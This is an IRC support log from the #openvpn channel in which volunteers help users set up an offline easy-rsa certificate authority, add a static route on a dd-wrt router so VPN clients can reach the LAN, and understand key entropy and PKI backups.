12:29 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
12:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
12:29 -!- mode/#openvpn [+o krzee] by ChanServ
12:29 < Devastator> dazo should this "another computer" be out of internet just to be extra cautious?
12:29 <@dazo> Devastator: well, the gen csr stuff makes sense if the client does the key generation and sends just the CSR file to the CA ... then the CA can validate the CSR info, and provide a CRT if it decided to sign the CSR
12:30 <@dazo> Devastator: if your CA is completely off-line, that is surely the best step ... as the CA is the most sacred files you'll ever have in your hands
12:30 <@dazo> especially the ca.key
12:30 < Devastator> understood!
12:30 <@dazo> plaisthos: the client ignores what when?
12:30 <@dazo> Devastator++ :)
12:30 < Devastator> well, I guess I will be running my vpn tomorrow then
12:31 <@dazo> :)
12:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Client Quit]
12:31 < Devastator> less than I expected heheh
12:31 <@dazo> Devastator: CA stuff sounds hefty and heavy and complicated ... but in fact, if you just understand the small pieces and how they interact, managing a CA isn't that hard :)
12:32 < Devastator> when you say "send the CSR to the CA", you mean copy the CSR to the CA site, correct?
12:32 <@dazo> correct
12:33 < Devastator> because everytime I read the word send, I think of a tool which would send it over the lan/internet, but I guess this is not the case
12:33 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:33 <@dazo> The client can do a ./build-req ... which makes only the client.key + client.csr .... send the client.csr to CA and get a client.crt back
12:34 < Devastator> correct
12:34 <@plaisthos> dazo: the client only ignores a dh xxx.pem option if it is compiled without the CLIENT_ONLY option, otherwise it bites you for not knowing --dh
12:34 <@dazo> the CSR contains a the public key of the client + certificate subject info (Common Name, etc, etc) ... and the CA will the, with ./sign-req, display this info and ask you: Is this information correct? ... and if yes, it signs the CSR with it's CA key
12:35 < Devastator> I'm so relieved right now, I have been studying this for 2 days
12:36 <@dazo> plaisthos: the DH params isn't loaded on clients ... it shouldn't at least ... that's just a big prime used for the DH key exchange, and will be transferred over the wire to the client no matter
12:36 <@dazo> (dhparam isn'
12:36 <@dazo> isn't a secret either)
12:36 < walp> dazo: so it doesn't need to be specified in the client conf at all?
12:36 <@dazo> nope
12:36 <@dazo> only server
12:37 < walp> cool
12:37 < Devastator> dazo can client.conf be shared no problem? of course, changing crt and key
12:37 <@dazo> Devastator: yes, it can
12:38 < Devastator> great! I'm all set I guess heheh
12:38 <@dazo> Devastator: congrats :)
12:38 < walp> "Who is this Diffie guy, and why is he in my mayonnaise?"
12:39 <@dazo> plaisthos: if you don't believe me ... look at init_ssl() in ssl.c ... and then look for tls_ctx_load_dh_params() ;-)
12:39 < Devastator> dazo if you find my steps useful, I can improve it cosmetically speaking, for a howto or so
12:40 <@dazo> Devastator: putting a bit more words to those steps and cleaning it up would definitely make sense ... and you can add them to the community.openvpn.net wiki if you want to
12:41 -!- pikaro [~vinter@pD9E607D1.dip.t-dialin.net] has quit [Quit: Leaving]
12:45 < Devastator> dazo sure! it's nice to give something back
12:45 <@dazo> Devastator++ :)
13:03 -!- socomm [~socomm@96-40-128-63.dhcp.mtpk.ca.charter.com] has joined #openvpn
13:03 -!- socomm [~socomm@96-40-128-63.dhcp.mtpk.ca.charter.com] has left #openvpn ["WeeChat 0.3.7"]
13:03 -!- scampbell [~scampbell@mail.scampbell.net] has joined #openvpn
13:14 -!- zz_AsadH is now known as AsadH
13:18 < pekster> Devastator: It's fine to use an offline CA like that, but the "truely paranoid" (you'll have to decide if you fall into this category) try not to let private keys touch another system since that increases the chances they can be recovered (compromise of any place the private key is opens up the door to a brute-force attack
13:19 < Devastator> pekster another system includes a live distro?
13:20 < pekster> I don't really like the idea of generating a server key on a USB stick either (easy-rsa doesn't encrypt the server key with a passphrase, so you're literally storing the raw bytes on your USB stick.) Flash is much harder to "erase properly" due to wear-leveling. If you simply "rm -rf /usb/*" the data is usually trivial to recover; a full wipe may work against most attackers, although flash does things like wear leveling that "could" make f
13:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 252 seconds]
13:20 < pekster> Simple rule for the paranoid: never generate private keys where they aren't used
13:21 <@krzee> unless using embedded devices!
13:21 < pekster> I don't see the point of generating the server key on anything except the server. But that means you need to "stage" a duplicate easy-rsa setup (in terms of setting and sourcing vars) and run build-req on that box, then bring in the .csr
13:21  * krzee holds up djb's router
13:21 < pekster> krzee: Yes, of course :)
13:21 < Devastator> ok, I'll redo with minor changes for you to comment again
13:22 < pekster> If you're going to use an offline CA, you might as well not pollute things by dropping your unencrypted key on (traditionally hard to erase/secure later) flash media
13:22 < pekster> That's just shooting yourself in the foot if you ever loose that USB stick (and the theif wants to attack you. Temper my paranoia levels to suit your needs, of course)
13:23 < Devastator> your paranoia makes sense imho
13:23 < pekster> General process works like this: set up CA on an offline environment (you have this now.) Keep the physical storage secure, and never plug it into an online system. Also use a strong passphrase for the CA key
13:24 <@dazo> pekster: you would probably cat the file on the terminal ... and type it into the other (destination) terminal?
13:24 <@dazo> or would that make it risky in regards to telepathy?
13:24 <@dazo> ;-)
13:24 < pekster> Why would I need to copy anything over by terminal? :P
13:25  * pekster generates keys on target systems using them, and certs/csr's are not private
13:25 < pekster> You can send your csr/crt by email, walkie-talkie, ham radio, or take out an advert in the Super Bowl for all I care :)
13:25  * dazo is just trying to make fun of pekster :-P
13:25 <@dazo> yeah, agreed :)
13:26 < pekster> I once exchanged GPG fingerprints with a buddy over ham raadio :)
13:26 <@dazo> geek!
13:26 < Devastator> hahaha
13:26 < pekster> It was more convenient at the time than some silly challenge/response thing in email
13:27 <@dazo> uhm ... phone? ;-)
13:28 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:29 < pekster> Ironically, ham radio was probably "faster" (transmission wise) since it goes the speed of light, not subject to brief delays in the telco's system ;)
13:29 < pekster> Anyway...
13:29 <@dazo> :)
13:30  * dazo wonders if WinstonSmith is a George Orwell fan .....
13:31 < pekster> Devastator: It's actually fairily easy to generate keys on your server/clients: each one just has their own easy-rsa setup. You make sure vars has matching values. server/clients don't need to do any build-ca or build-dh stuff: just build-req (for the server: that'll be *unencrypted* since it can't type a pass on startup) and build-key-pass (for clients where you normally do want keys encrypted for protection)
13:31 <@dazo> pekster: if you read the scrollback ;-)
13:31 < pekster> dazo: Yea. That has some stuff about .key files going onto USB
13:32 < pekster> key generation on the target avoids that
13:35 <@dazo> pekster: yeah, I know ... but we discussed the build-req stuff :)
13:36 <@dazo> [19:35] <dazo> the CSR contains a the public key of the client + certificate subject info (Common Name, etc, etc) ... and the CA will the, with ./sign-req, display this info and ask you: Is this information correct? ... and if yes, it signs the CSR with it's CA key
13:37 <@dazo> sorry ... wrong paste
13:37 <@dazo> [19:33] <dazo> The client can do a ./build-req ... which makes only the client.key + client.csr .... send the client.csr to CA and get a client.crt back
13:38 < pekster> Ah, k. nvm then. So long as "vars" match and the $KEY_DIR is created (clean-all once on each host does that) yea, that'll do it
13:45 <@dazo> pekster: why does ./vars need to match?
13:45 < pekster> openssl.cnf as used by easy-rsa is configured to reject a mis-match of some X509 fields
13:45 <@ecrist> yeah
13:46 <@ecrist> it's irritating, imho
13:46 < pekster> One can patch openssl.cnf of course, but then you probably aren't using easy-rsa if you have that level of skill :P
13:46 <@ecrist> I wish I knew who could fix that.
13:46 < pekster> I can
13:46 <@dazo> hmmm ... interesting
13:46 <@ecrist> pekster: I was being funny
13:46 < pekster> Maybe I'll even give you an 'svn diff' patch this time ;)
13:46 <@ecrist> that'd be sweet
13:46 < WDKevin> ive done some reading up on the routing as i was instructed to do earlier, and while it seems a little confusing, i think i get the basics of it.
13:46 <@ecrist> or, create a github account and submit a pull request
13:47 < WDKevin> now if i could just figure out how to get the vpn client to see the rest of the network based on what i read
13:48 <@dazo> WDKevin: look into tcpdump ... 'tcpdump -ni tun0' ... and on another terminal 'tcpdump -ni eth0' .... (change tun0/eth0 to the devices you expect)
13:48 <@dazo> and then from one place, start a ping to a host you want to reach .... then you can see with tcpdump where the ping and pongs goes
13:48 <@dazo> and then you'll probably get a hint where to start looking
13:49 < WDKevin> ok, just did that
13:49 <@dazo> further
13:49 < WDKevin> im at work, vpn'd in and ssh'd into the openvpn server
13:49 < pekster> ecrist: Another option is to just do away with all the silly options in the cert to begin with. Unless keeping company/city/state/etc was really wanted. I design all my VPN certs with nothing but a CN
13:49 < WDKevin> when i ping a different server on the network, i can see it in the tcpdump, it going to that ip
13:50 <@ecrist> pekster: if you want to get involved with easy-rsa, we should talk
13:50 <@ecrist> there's a lot of "silly" in there I want to do away with.
13:50 < WDKevin> dazo, should i 2 entries for each ping or just one?
13:51 < WDKevin> just a forward from the vpn ip to the destination ip im pining?
13:51 <@dazo> but do you get more than just ICMP ECHO request ... you should see both ICMP echo request and then following an ICMP echo reply message
13:51 < WDKevin> nevermind that
13:51 <@dazo> 20:51:06.017622 IP 10.35.7.2 > 172.16.33.20: ICMP echo request, id 31541, seq 1, length 64
13:51 <@dazo> 20:51:06.082056 IP 172.16.33.20 > 10.35.7.2: ICMP echo reply, id 31541, seq 1, length 64
13:51 < WDKevin> yes, when i ping the vpn server, i get that
13:51 < WDKevin> a request and a reply
13:51 < WDKevin> when i ping another server on the network i only see the request, no reply
13:52 <@dazo> okay ... that means that your VPN server is the first place to look
13:52 <@dazo> you do the tcpdump on the VPN server?
13:52 < WDKevin> yup
13:52 <@krzee> i will guess:
13:52 <@krzee> !route_outside_ovpn
13:52 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
13:52 <@dazo> okay ... then there are two things to check .... a) ip_forwarding enabled?   b) firewalling?
13:52 < WDKevin> krzee, that is also what someone else suggested this morning
13:53 <@krzee> ip forwarding is enabled because he got to the servers eth0
13:53 < WDKevin> thats what i was told to read up on routing
13:53 < WDKevin> yes, ip forwarding is enabled
13:53 < WDKevin> and yo uare correct, the vpn server is not the gateway for the LAN
13:53 <@krzee> im generally pretty good at diagnosing these ;]
13:53 <@dazo> WDKevin: then you need to add a route on either your default gateway ... or the server you try to reach
13:54 <@krzee> ^ yep
13:54 < WDKevin> i think the guys had figured it out this morning too, but i was instructed to do sdome learning before i could get more help
13:54 <@dazo> which points your VPN IP network to your OpenVPN server
13:54 < pekster> ecrist: Sure. I'm only half-here now (listening to nasa's press release on DA14) but I can PM you or join the dev channel as appropriate. Exchange goals or a wishlist or something
13:54 < WDKevin> i would like to do it on the gateway so i can reach all my servers on the lan
13:54 <@dazo> WDKevin++
13:54 <@krzee> if you want learning:
13:54 <@krzee> !route
13:54 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
13:54 < WDKevin> the gateway is my router, which is running dd-wrt
13:54 <@krzee> the section "routes behind openvpn" talks about this
13:54 <@krzee> errr "routes outside openvpn"
13:55 <@krzee> you have 1 easy route to add to that router
13:56 < WDKevin> looking at my dd-wrt web interface, im in the setup -> advanced routing -> static routing
13:56 <@dazo> that's the right place!
13:56 < WDKevin> would i add a route here with the destination lan net set to my vpn gateway, the subnet is 255.255.255.0 and the gateway is my lan's gateway (192.168.1.1)?
13:57 <@dazo> no
13:57 <@krzee> WDKevin, thought you wanted to learn
13:57 < WDKevin> doh
13:57 -!- joshie_ [~josh@75-150-76-129-NewEngland.hfc.comcastbusiness.net] has joined #openvpn
13:57 < WDKevin> krzee, im reading the article you linked
13:57 <@krzee> i gave you links to a diagram and explanation
13:57 <@krzee> :D
13:57 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
13:57  * WDKevin slaps himself
13:57 <@dazo> you need to route the VPN network via the VPN server ...
13:58 -!- joshie [~josh@joshie.net] has quit [Ping timeout: 256 seconds]
13:58 <@krzee> http://www.secure-computing.net/wiki/index.php/Graph  might be easy to understand (i hope it is)
13:58 <@vpnHelper> Title: Graph - Secure Computing Wiki (at www.secure-computing.net)
13:58 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
13:58 < WDKevin> krzee, looking that over again
14:01 < WDKevin> i think im getting confused because these diagrams are using 10. ip's for everything
14:02 < WDKevin> and my LAN is all on 192.
14:02 < WDKevin> just making it harder for me to get it all straight
14:02 <@dazo> WDKevin: right now, you don't need to care about LAN
14:02 < WDKevin> ok
14:02 <@dazo> WDKevin: what you need to care about ... is that you dd-wrt router gets packets destined towards your VPN
14:02 <@dazo> and you need to tell dd-wrt to route those packets via your OpenVPN server
14:02 < WDKevin> alright
14:03 < WDKevin> so can we agree the subnet is at least 255.255.255.0?
14:03 <@krzee> only lan ip involved is the vpn server's lan ip
14:03 <@dazo> WDKevin: is that the subnet of your VPN?
14:03 < WDKevin> it is
14:03 <@dazo> then that is the correct subnet
14:03 <@krzee> WDKevin, if your --server statement uses 255.255.255.0
14:03 < WDKevin> it does
14:03 < WDKevin> its server 10.8.0.0 255.255.255.0
14:03 <@krzee> thats the subnet you're adding a route to
14:03 <@krzee> and the gateway is the vpn server's lan ip
14:03 <@dazo> so called, destination net
14:04  * dazo is not giving the obvious and quick answer deliberately ... just so you'll understand it (and hopefully) remember it better
14:04 < WDKevin> i know this
14:04 < WDKevin> i prefer it
14:05 < WDKevin> and i certainly appreciate it!
14:05 <@dazo> :)
14:05 <@dazo> WDKevin++ for that attitude!
14:05 < WDKevin> so the gateway would be 10.8.0.0
14:05 <@dazo> no
14:05 < WDKevin> gah
14:05 <@krzee> did the "routes outside openvpn" section of !route help?
14:06 < WDKevin> krzee, i think it half helped, and half confused me more
14:06 < WDKevin> lol
14:06 <@dazo> WDKevin: did you understand what the gateway needs to be now?
14:06 < WDKevin> http://www.secure-computing.net/wiki/index.php/Graph
14:06 <@vpnHelper> Title: Graph - Secure Computing Wiki (at www.secure-computing.net)
14:06 <@dazo> the gateway is the box on your network who knows how to forward a subnet
14:06 < WDKevin> when i look at that graph, the gateway looks like my router
14:06 <@dazo> a specific subnet
14:06 <@krzee> WDKevin, you'll notice i didnt use common subnets, because you shouldnt use common subnets when routing lans over openvpn
14:07 <@krzee> the gateway in my graph is .10 on its lan
14:07 <@dazo> WDKevin: in the graph image .... replace 10.10.2 .... with 192.168.1 for example (or whatever your lan has)
14:07 < WDKevin> my lan is 192.168.1.1 as the gateway
14:07 <@dazo> and your VPN server?
14:07 < WDKevin> 10.8.0.0
14:07 <@krzee> you are sharing too common of a subnet over your vpn
14:07 <@dazo> WDKevin: your VPN server have two IP addresses
14:08 <@krzee> you may have problems when a client connects from 192.168.1.x (very very common)
14:08 <@dazo> one for the VPN ... and one for the eth0
14:08 < WDKevin> ah, ok
14:08 < WDKevin> tun0 is 10.8.0.1
14:08 < WDKevin> eth0 is 192.168.1.101
14:08 <@dazo> WDKevin: and 10.8.0.0 is the VPN subnet address
14:08 <@dazo> correct!
14:09 <@dazo> so now ... lets try to build up a route command ... shall we?  All the information is here ... three variables
14:09 < WDKevin> lets do it
14:09 < WDKevin> the 3 fields i have in dd-wrt are destination lan net
14:09 <@dazo> subnet address (10.8.0.0) ... subnet mask (255.255.255.0)  and your VPN server's eth0 addresss
14:09 < WDKevin> ok
14:09 < WDKevin> subnet is obvious
14:09 <@krzee> WDKevin, is 192.168.1.101 from dhcp?
14:09 < WDKevin> no
14:10 <@krzee> good
14:10 < WDKevin> static ips everywhere
14:10 < WDKevin> i promise im not as dumb as i look right now
14:10 < WDKevin> which admittedly is very dumb
14:10 <@dazo> you have the correct answer most likely right under your nose :)
14:10 <@krzee> well its likely in the dhcp pool still, but ill leave that for when you have problems with it lol
14:10 <@dazo> hehe
14:11 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 256 seconds]
14:11 <@dazo> krzee: don't distract is train of thoughts now ;-)
14:11 <@dazo> s/is/his/
14:11 < WDKevin> krzee, ive limited the pool down to 200+
14:11 <@dazo> WDKevin: so your routing parameters ... have you figured them out by now?
14:12 < WDKevin> the gateway is 10.8.0.1?
14:12 <@dazo> no
14:12 < WDKevin> then its the eth0 ip?
14:12 <@dazo> you want to tell the dd-wrt router to route your VPN subnet via your VPN server (which got the IP 192.168.1.101)
14:13 < WDKevin> so the gateway is 192.168.1.101
14:13 <@dazo> correct!
14:13 < WDKevin> now before i try to guess the destination net lan, what does that even mean?
14:13 < WDKevin> that label sounds wonky
14:14 < WDKevin> or is that where the 10.8.0.1 goes?
14:14 <@dazo> it is very obvious if you just think about it .... the dd-wrt gets a packet destined for exampl 10.8.0.3 .... now where should it route it?
14:14 <@dazo> it looks into the routing table
14:15 < WDKevin> so it is the tun0 ip?
14:15 < WDKevin> or no wait
14:15 < WDKevin> no it has to be
14:15 < WDKevin> right?
14:15 <@dazo> it finds which subnet 10.8.0.3 matches into ... the subnet mask 255.255.255.0  tells it that the destination subnet 10.8.0.0 have the valid range of 10.8.0.0->10.8.0.255 .... so 10.8.0.3 matches here
14:16 <@dazo> and it looks at the gateway field and finds 192.168.1.101 .... and sends the packet to that box
14:16 <@dazo> WDKevin: 10.8.0.1 on the VPN server is for the VPN clients to have a gateway
14:16 < WDKevin> ah, ok
14:16 < WDKevin> hmmm
14:17 < WDKevin> i dont even want to guess anymore for fear of just sounding dumber and dumber :(
14:17 -!- joshie_ is now known as joshie
14:17 <@dazo> WDKevin: if you look at your VPN clients routing table ... you probably find a route saying destination: 10.8.0.0 subnet: 255.255.255.0 gateway: 10.8.0.1
14:17 <@dazo> sorry!
14:17 <@dazo> wrong!
14:17 <@dazo> WDKevin: if you look at your VPN clients routing table ... you probably find a route saying destination: 192.168.1.0 subnet: 255.255.255.0 gateway: 10.8.0.1
14:18 < WDKevin> so thats my desitnation?
14:18 < WDKevin> 192.168.1.0?
14:18 <@dazo> that means that your VPN client knows that when it tries to access a server inside your 192.168.1.{0-255} subnet ... it will send that traffic via the gateway: 10.8.0.1
14:18 < WDKevin> no
14:18 <@dazo> yes, 192.168.1.0 on your client is the destination
14:18 <@dazo> field
14:18 < WDKevin> ok
14:19 < WDKevin> it kinda made sense once you epxlained it
14:19 < WDKevin> ok
14:19 < WDKevin> so the rule says
14:19 < WDKevin> destination 192.168.1.10 subnet 255.255.255.0 gateway 192.168.1.101
14:19 < WDKevin> sorry
14:19 <@dazo> almost
14:19 < WDKevin> destination is 192.168.1.0
14:19 < WDKevin> typo
14:20 <@dazo> gateway is also wrong
14:20 < WDKevin> i thought gateway was my eth0 ip on the openvpn box?
14:20 <@dazo> because your VPN client doesn't know anything about the 192.168.1.0 subnet
14:20 <@dazo> your client needs to send that traffic via your VPN server, which from your VPN clients point of view is 10.8.0.1
14:20 < WDKevin> <WDKevin> so the gateway is 192.168.1.101
14:20 < WDKevin> <dazo> correct!
14:20 <@dazo> WDKevin: on the dd-wrt box, that is correct
14:21 <@dazo> that's a different view
14:21 < WDKevin> thats where im setting this
14:21 < WDKevin> im still on dd-wrt advanced routing screen trying to add this rule
14:21 <@dazo> ahh!
14:21 <@dazo> sorry, then I confused you!
14:21 < WDKevin> haha yea
14:21 < WDKevin> i wanted to understand that rule before i added it
14:21 <@dazo> on the dd-wrt ... you need destination 10.8.0.0 subnet 255.255.255.0 gateway 192.168.1.101
14:21 < WDKevin> gah!
14:21 < WDKevin> ok
14:22 <@dazo> that tells dd-wrt to route all packets going to your VPN via your VPN server, which has the local IP address 192.168.1.101
14:22 < WDKevin> do i need to do anything with the metric field?
14:22 <@dazo> nope
14:22 < WDKevin> that rule makes so much more sense now
14:22 <@dazo> :)
14:23 < WDKevin> ok
14:23 < WDKevin> now let me disco/reconnect to the vpn and try to ping that box
14:23 <@dazo> you don't need to reconnect
14:23 <@dazo> it should just work now :)
14:23 < WDKevin> holy jesus
14:23 < WDKevin> it does
14:23 <@dazo> ;-)
14:23 < WDKevin> im saving this entire convo
14:23 < WDKevin> i need to reread it a few times and really understand whats going on
14:24 < WDKevin> i cant thank you enouhg for making me go through the process this way. its the only way i can learn it and i truly appreciate your patience dazo
14:24 <@dazo> WDKevin: okay .... on your VPN client ... pastebin your routing table .... and I'll ask you a few question related to that table
14:24 <@dazo> WDKevin: it's easy to help people who wants to learn things! :)
14:25 < WDKevin> my vpn client is my work machine
14:25 < WDKevin> im at work right now
14:25 <@dazo> yeah, that's very fine
14:25 <@dazo> those questions will hopefully help you to understand the routing a bit more
14:25 < WDKevin> ok
14:25 < WDKevin> how can i get my routing table from a win7 box?
14:28 <@dazo> route print
14:28 <@dazo> from a shell
14:28 <@dazo> (cmd.exe)
14:31 < WDKevin> i can see my vpn ip in there too
14:31 <@dazo> yeah ....
14:36 -!- Devastator- [~devas@186.214.111.241] has joined #openvpn
14:38 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 255 seconds]
14:39 < EugeneKay> Sweeeet. Just got my openvpn shirt
14:40 <@plaisthos> EugeneKay: :)
14:40 < EugeneKay> Smells funny though
15:09 -!- JyZyXEL [~foo@a88-112-73-201.elisa-laajakaista.fi] has quit [Ping timeout: 255 seconds]
15:13 -!- JyZyXEL [~foo@a88-112-73-201.elisa-laajakaista.fi] has joined #openvpn
15:14 -!- dazo is now known as dazo_afk
15:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds]
15:42 -!- nze [~user@unaffiliated/nze] has quit [Ping timeout: 255 seconds]
15:49 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
15:55 -!- vmachine1 [~PC@78-105-138-183.zone3.bethere.co.uk] has joined #openvpn
15:55 -!- vmachine1 [~PC@78-105-138-183.zone3.bethere.co.uk] has left #openvpn []
16:02 -!- nickanderson is now known as nickanderson_afk
16:04 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
16:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
16:28 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
16:37 < kisom> EugeneKay: Smells like VPN ;)
16:39 < EugeneKay> I was thinking moth balls
16:41 -!- gry [~gry@freenode/staff/gry] has joined #openvpn
16:42 -!- gry [~gry@freenode/staff/gry] has left #openvpn []
16:44 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:48 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
17:09 -!- scampbell [~scampbell@mail.scampbell.net] has quit [Remote host closed the connection]
17:27 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
17:27 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
17:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
17:27 -!- mode/#openvpn [+o krzee] by ChanServ
18:02 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 246 seconds]
18:03 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
18:07 < lickalott> dazo_afk where did you get this info from "it exists a database over all ssh/https keys used in all dd-wrt distributions"
18:08 < lickalott> i was told "  the ssh key generation is not set with constants. /dev/urandom is used."
18:08 < lickalott> just want to verify sources
18:09 < pekster> Don't generate ssh keys on embedded hardware like routers. Your entropy will suck leading to very weak key generation
18:12 < pekster> Further reading: http://eprint.iacr.org/2006/086.pdf or a talk from this year's 29C3 available here, at talk ID 5275: http://mirror.fem-net.de/CCC/29C3/mp4-h264-HQ/
18:12 <@vpnHelper> Title: Index of /CCC/29C3/mp4-h264-HQ (at mirror.fem-net.de)
18:12 < pekster> And that applies to any crypto keys (openvpn X509, ssh keypairs, keys for your webserver, etc, etc)
18:18 < lickalott> currently I have openvpn-as running on an ubuntu server.  I haven't done the easy-rsa stuff yet to create my own CA (i seem to be missing things that the tut's callout) but do you think it's a better idea to leave it on there?  I can access my network fine, i just figured having it on a router would make more sense.
18:20 < pekster> Nothing wrong with running openvpn on embedded hardware (openwrt, dd-wrt, or similar) but don't actually generate your private keys on that system
18:21 < pekster> Generate them on a system with proper entropy sources, preferably after it's been running for a little bit, and then trasnfer the keys over
18:22 -!- mattwj2002 [~matt@wikisource/pdpc.active.mattwj2002] has joined #openvpn
18:22 < pekster> Optionally, you can run openvpn on the ubuntu box too and just port-forwrad through any NAT you have on the router
18:22 -!- mattwj2002 [~matt@wikisource/pdpc.active.mattwj2002] has left #openvpn []
18:22 < pekster> (I suspect openvpn and openvpn-as can coexist, but I've never touched the as product, so don't take my word on it)
18:24 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
18:39 -!- mattbillenstein [~mattbille@173.247.206.178] has joined #openvpn
18:50 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 246 seconds]
18:54 -!- AsadH is now known as zz_AsadH
18:55 < mattbillenstein> hi all
18:56 -!- brute11k1 [~brute11k@89.249.235.89] has joined #openvpn
18:56 < mattbillenstein> I recently had to switch out my openvpn server
18:56 < mattbillenstein> and I didn't transfer some of the client keys
18:56 < mattbillenstein> but those clients are still able to connect
18:56 < mattbillenstein> which is sorta alarming
18:56 -!- brute11k [~brute11k@89.249.235.89] has quit [Ping timeout: 248 seconds]
18:57 < mattbillenstein> how would that be possible?
18:57 < pekster> Because that's how PKI works
18:57 < pekster> The server uses the CA root certificate to verify that the cert presented over the wire by a connecting client is valid
18:58 < pekster> !pki
18:58 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
18:58 <@vpnHelper> signed specially as a server (see !servercert)
19:03 < mattbillenstein> I see, didn't really understand that's how it worked
19:04 < pekster> If you're missing critical parts of your PKI, that may prevent you from signing certs for new clients, or (easily) revoking existing ones
19:06 < pekster> Specifically, you'll be completely hosed if you didn't back up your CA private key and have no other backups (that's the private part of the root keypair that signs everything else)
19:06 < mattbillenstein> yup, I keep a backup of that on a secondary server
19:06 < mattbillenstein> but when the primary went down (disk failure) - I hadn't synced over the clietn keys
19:06 < pekster> Outside of that, most of the PKI is accounting stuff. the index.txt file is a "database" of sorts, and the public keys of everything that's been signed can be referred to later to revoke ea client
19:06 < mattbillenstein> so I was surprised when they could connect anyway
19:07 < pekster> Do you still have the client certs at least? It's somewhat non-trivial to revoke a client certificate without being able to refer to the actual issued cert
19:08 < mattbillenstein> I was able to recover them from the disk actually, so I do have them
19:08 < mattbillenstein> I need a more automated backup here to prevent this sorta thing in the future
19:08 < pekster> Yea, I was just going to suggest you treat your PKI as a critical part of your backup infrastructure
19:09 < pekster> You can re-do your PKI, but then every client and your server(s) need new keypairs and a new ca.crt
19:09 < pekster> I've done that in the past for various reasons, and it's Not Fun (TM)
19:10 < mattbillenstein> cool, thanks for the advice
19:26 -!- Devastator- [~devas@186.214.111.241] has quit [Changing host]
19:26 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
19:26 -!- Devastator- is now known as Devastator
19:28 -!- raidz is now known as raidz_away
19:33 -!- mattbillenstein [~mattbille@173.247.206.178] has left #openvpn []
19:37 -!- brute11k1 [~brute11k@89.249.235.89] has quit [Read error: Operation timed out]
19:37 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
19:51 < Devastator> pekster does this look safer than my last one? http://codepad.org/kwzRR2s5
19:51 <@vpnHelper> Title: Plain Text code - 23 lines - codepad (at codepad.org)
19:52 < Devastator> I hope this is the last one heheh
19:52 < pekster> Sort of. I don't let my keys touch USB devices that go into live systems
19:54 < pekster> Let's say I buy a new laptop and want to geneate a keypair for my existing home VPN. I'd generate a keypair directly on the laptop with its own completely separate process (not at all related to my VPN PKI on my CA system)
19:54 -!- mattwj2002 [~matt@wikisource/pdpc.active.mattwj2002] has joined #openvpn
19:54 < mattwj2002> hi all
19:54 < mattwj2002> sol?
19:54 < mattwj2002> :P
19:55 < pekster> I take one of my everyday USB sticks, put the CSR from that laptop on it, and copy it to the offline CA system. It signs it, then I put the cert back on the non-critical USB stick for transport back
19:55 < mattwj2002> I am a native English speaker
19:55 < pekster> See how the private keys are never (not even for an instant) on a machine bsides the one that generated it?
19:56 < mattwj2002> so openvpn?
19:56 < mattwj2002> how good is it?
19:57 < pekster> (except many of my VPN CAs are run from an online, semi-secure, but networked, host. Same principle really, but I use ssh/scp as a transport, not USB sticks there)
19:57 < Devastator> pekster isn't this what I did? I guess your offline CA system isn't a pendrive that you use on a live distro..
19:57 < pekster> For 2 of my more "critical" PKI environments it is
19:57 < pekster> And one of my former client's was
19:58 -!- mattwj2002 [~matt@wikisource/pdpc.active.mattwj2002] has left #openvpn []
19:58 < pekster> Step #4 in your list exposes the entire PKI to the server. That's unnecessary
19:59 < pekster> Let's say your server is compromised (for whatever reason.) Now that rouge process/user/whatever had access to copy the entire contents of the drive somewhere and begin brute-forcing it. Likely? Maybe not, but it doesn't make sense to use an offline CA if you don't actually keep it offline
19:59 < pekster> If that's not a security risk for you (it's not for many use-cases) then don't bother keeping it offline. Or just do it all on the server anyway and run it out of the USB stick to begin with
20:00 < pekster> (ie: limit the exposure for a possible attack to times when the removable media is in the system physically)
